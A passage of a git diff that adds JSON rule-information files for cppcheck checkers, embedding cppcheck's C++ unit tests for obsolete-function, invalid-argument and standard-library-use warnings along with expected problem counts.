{\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // right argument of assignment could be static_cast, functional cast, c-style and implicit cast\n // functional cast case not covered\n void checkUseStandardLibrary8() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < count; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = static_cast(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary9() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (static_cast(0));\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary10() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < size; i++)\\n\"\n \" ((char*)dst)[i] = (const char)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary11() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t)0);\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary12() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = 42;\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary13() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary14() {\n check(\"void f(void* dest) {\\n\"\n \" for (size_t i = 0; i < sizeof(int)*(15 + 42/2 - 7); i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestFunctions)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/invalidFunctionUsage.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/invalidFunctionUsage.json new file mode 100644 index 0000000..0c77a3a --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/invalidFunctionUsage.json @@ -0,0 +1,22 @@ +{ + "name": "invalidFunctionUsage", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 87, + "branches": 28, + "apis": 103, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 443 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkfunctions.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestFunctions : public TestFixture {\npublic:\n TestFunctions() : TestFixture(\"TestFunctions\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).severity(Severity::performance).severity(Severity::portability).\n certainty(Certainty::inconclusive).c(Standards::C11).cpp(Standards::CPP11).library(\"std.cfg\").library(\"posix.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n // Prohibited functions\n TEST_CASE(prohibitedFunctions_posix);\n TEST_CASE(prohibitedFunctions_index);\n TEST_CASE(prohibitedFunctions_qt_index); // FP when using the Qt function 'index'?\n TEST_CASE(prohibitedFunctions_rindex);\n TEST_CASE(prohibitedFunctions_var); // no false positives for variables\n TEST_CASE(prohibitedFunctions_gets); // dangerous function\n TEST_CASE(prohibitedFunctions_alloca);\n TEST_CASE(prohibitedFunctions_declaredFunction); // declared function ticket #3121\n TEST_CASE(prohibitedFunctions_std_gets); // test std::gets\n TEST_CASE(prohibitedFunctions_multiple); // multiple use of obsolete functions\n TEST_CASE(prohibitedFunctions_c_declaration); // c declared function\n TEST_CASE(prohibitedFunctions_functionWithBody); // function with body\n TEST_CASE(prohibitedFunctions_crypt); // Non-reentrant function\n TEST_CASE(prohibitedFunctions_namespaceHandling);\n\n // Invalid function usage\n TEST_CASE(invalidFunctionUsage1);\n TEST_CASE(invalidFunctionUsageStrings);\n\n // Invalid function argument\n TEST_CASE(invalidFunctionArg1);\n\n // Math function usage\n TEST_CASE(mathfunctionCall_fmod);\n TEST_CASE(mathfunctionCall_sqrt);\n TEST_CASE(mathfunctionCall_log);\n TEST_CASE(mathfunctionCall_acos);\n TEST_CASE(mathfunctionCall_asin);\n TEST_CASE(mathfunctionCall_pow);\n TEST_CASE(mathfunctionCall_atan2);\n TEST_CASE(mathfunctionCall_precision);\n\n // Ignored return value\n TEST_CASE(checkIgnoredReturnValue);\n TEST_CASE(checkIgnoredErrorCode);\n\n // memset..\n TEST_CASE(memsetZeroBytes);\n TEST_CASE(memsetInvalid2ndParam);\n\n // missing \"return\"\n TEST_CASE(checkMissingReturn1);\n TEST_CASE(checkMissingReturn2); // #11798\n TEST_CASE(checkMissingReturn3);\n TEST_CASE(checkMissingReturn4);\n TEST_CASE(checkMissingReturn5);\n TEST_CASE(checkMissingReturn6); // #13180\n\n // std::move for locar variable\n TEST_CASE(returnLocalStdMove1);\n TEST_CASE(returnLocalStdMove2);\n TEST_CASE(returnLocalStdMove3);\n TEST_CASE(returnLocalStdMove4);\n\n TEST_CASE(returnLocalStdMove5);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n\n TEST_CASE(checkLibraryMatchFunctions);\n\n TEST_CASE(checkUseStandardLibrary1);\n TEST_CASE(checkUseStandardLibrary2);\n TEST_CASE(checkUseStandardLibrary3);\n TEST_CASE(checkUseStandardLibrary4);\n TEST_CASE(checkUseStandardLibrary5);\n TEST_CASE(checkUseStandardLibrary6);\n TEST_CASE(checkUseStandardLibrary7);\n TEST_CASE(checkUseStandardLibrary8);\n TEST_CASE(checkUseStandardLibrary9);\n TEST_CASE(checkUseStandardLibrary10);\n TEST_CASE(checkUseStandardLibrary11);\n TEST_CASE(checkUseStandardLibrary12);\n TEST_CASE(checkUseStandardLibrary13);\n TEST_CASE(checkUseStandardLibrary14);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n const Settings* s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings& s = options.s ? *options.s : settings;\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void prohibitedFunctions_posix() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" bsd_signal(SIGABRT, SIG_IGN);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'bsd_signal' called. It is recommended to use 'sigaction' instead. [bsd_signalCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int bsd_signal(0);\\n\"\n \" return bsd_signal;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct hostent *hp;\\n\"\n \" if(!hp = gethostbyname(\\\"127.0.0.1\\\")) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Obsolescent function 'gethostbyname' called. It is recommended to use 'getaddrinfo' instead. [gethostbynameCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" long addr;\\n\"\n \" addr = inet_addr(\\\"127.0.0.1\\\");\\n\"\n \" if(!hp = gethostbyaddr((char *) &addr, sizeof(addr), AF_INET)) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (style) Obsolescent function 'gethostbyaddr' called. It is recommended to use 'getnameinfo' instead. [gethostbyaddrCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_index() {\n check(\"namespace n1 {\\n\"\n \" int index(){ return 1; };\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" n1::index();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f()\\n\"\n \"{\\n\"\n \" std::size_t index(0);\\n\"\n \" index++;\\n\"\n \" return index;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" return this->index();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int index( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char f()\\n\"\n \"{\\n\"\n \" const char var[6] = \\\"index\\\";\\n\"\n \" const char i = index(var, 0);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\",\n errout_str());\n }\n\n void prohibitedFunctions_qt_index() {\n check(\"void TDataModel::forceRowRefresh(int row) {\\n\"\n \" emit dataChanged(index(row, 0), index(row, columnCount() - 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\"\n \"[test.cpp:2:37]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\", // duplicate\n errout_str());\n }\n\n void prohibitedFunctions_rindex() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int rindex( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char var[7] = \\\"rindex\\\";\\n\"\n \" print(rindex(var, 0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Obsolescent function 'rindex' called. It is recommended to use 'strrchr' instead. [rindexCalled]\\n\", errout_str());\n }\n\n\n void prohibitedFunctions_var() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" Fred() : index(0) { }\\n\"\n \" int index;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_gets() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = gets(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" foo(x, gets(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_alloca() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\"); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:15]: (warning) Obsolete function 'alloca' called. In C99 and later it is recommended to use a variable length array instead. [allocaCalled]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).c(Standards::C89).cpp(Standards::CPP03).build();\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &s)); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s)); // #7558 - no alternative to alloca in C89\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // ticket #3121\n void prohibitedFunctions_declaredFunction() {\n check(\"int ftime ( int a )\\n\"\n \"{\\n\"\n \" return a;\\n\"\n \"}\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" int b ; b = ftime ( 1 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // test std::gets\n void prohibitedFunctions_std_gets() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" char *y = gets(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n // multiple use\n void prohibitedFunctions_multiple() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_c_declaration() {\n check(\"char * gets ( char * c ) ;\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"int getcontext(ucontext_t *ucp);\\n\"\n \"void f (ucontext_t *ucp)\\n\"\n \"{\\n\"\n \" getcontext ( ucp ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) Obsolescent function 'getcontext' called. Applications are recommended to be rewritten to use POSIX threads. [getcontextCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_functionWithBody() {\n check(\"char * gets ( char * c ) { return c; }\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_crypt() {\n check(\"void f(char *pwd)\\n\"\n \"{\\n\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:20]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *pwd = getpass(\\\"Password:\\\");\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:57]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:57]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int crypt = 0;\"\n \" return crypt;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_namespaceHandling() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" auto lt = std::localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:37]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Passed as function argument\n check(\"void f()\\n\"\n \"{\\n\"\n \" printf(\\\"Magic guess: %d\\\", getpwent());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:31]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Pass return value\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" struct tm *foo = localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Access via global namespace\n check(\"void f()\\n\"\n \"{\\n\"\n \" ::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Return value of function ::getpwent() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:7]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Be quiet on function definitions\n check(\"int getpwent()\\n\"\n \"{\\n\"\n \" return 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on other namespaces\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on class member functions\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar.getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidFunctionUsage1() {\n check(\"void f() { memset(a,b,sizeof(a)!=12); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,sizeof(a)!=0); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,!c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6990\n check(\"void f(bool c) { memset(a,b,c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:29]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n check(\"void f() { memset(a,b,true); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c++ mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"int boolArgZeroIsInvalidButOneIsValid(int a, int param) {\\n\"\n \" return div(a, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Invalid div() argument nr 2. The value is 0 or 1 (boolean) but the valid values are ':-1,1:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void boolArgZeroIsValidButOneIsInvalid(int param) {\\n\"\n \" strtol(a, b, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Invalid strtol() argument nr 3. The value is 0 or 1 (boolean) but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,1); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid strtol() argument nr 3. The value is 1 but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,10); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10754\n \" int N = -1;\\n\"\n \" for (long i = 0; i < g(); i++)\\n\"\n \" N = h(N);\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N < -1)\\n\"\n \" return;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:14]: (warning) Either the condition 'N<-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N == -1) {}\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'N==-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N, bool b) {\\n\"\n \" if (b)\\n\"\n \" N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n }\n\n void invalidFunctionUsageStrings() {\n check(\"size_t f() { char x = 'x'; return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x) { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char x;\\n\"\n \" if (y)\\n\"\n \" x = '\\\\0';\\n\"\n \" else\\n\"\n \" x = 'a';\\n\"\n \" return strlen(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() { char x = '\\\\0'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { char x = 'x'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; return strlen(y); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = 'x'; char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; char * y = &x; char *z = y; return strlen(z); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x[]) { return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char x, char y) { return strcmp(&x, &y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (error) Invalid strcmp() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:1:43]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char* x = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"size_t f() {\\n\"\n \" S s1 = {0};\\n\"\n \" S s2;\\n;\"\n \" s2.x = 'x';\\n\"\n \" size_t l1 = strlen(&s1.x);\\n\"\n \" size_t l2 = strlen(&s2.x);\\n\"\n \" return l1 + l2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:9:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" union {\\n\"\n \" struct {\\n\"\n \" uint16_t nr;\\n\"\n \" uint8_t d[40];\\n\"\n \" } data;\\n\"\n \" char buf[42];\\n\"\n \" } x;\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->x.buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" char buf[42];\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:60]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t 